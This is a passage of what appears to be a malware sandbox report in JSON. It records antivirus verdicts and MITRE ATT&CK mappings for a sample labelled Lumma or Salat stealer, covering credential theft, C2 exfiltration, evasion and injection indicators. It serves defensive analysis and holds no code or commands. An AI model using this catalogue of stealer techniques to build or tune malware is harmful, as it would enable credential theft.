(W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.LummaStealer.103 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Agent.VO trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Agent.e!crit","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Spyware ( 006d58511 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.tt6y","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"YARA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Salat-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Banker/W32.Agent.12570112","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"SalatStealer!3CBDBCE6FF15","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Salat.A.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.SalatStlr.JJK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.LummaStealer","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"suspicious","value":"YARA signature match - DES algorithm (S-box)"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"},{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Disk Content Wipe","attack_id":"T1561.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1561/001","identifiers":[{"type":"informative","value":"Contains ability to format disks"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","identifiers":[{"type":"suspicious","value":"PE file has no resource directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"suspicious","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains possible references to Golang crypto modules"}],"sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\", YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-44","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-103","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - DES algorithm (S-box)","description":"YARA signature for S-box in DES algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-61","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on DES file \"sample.bin\", YARA signature matched on Chacha20 instruction used in file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-155","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-153","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - 8\\\\.\\u\t; Source: 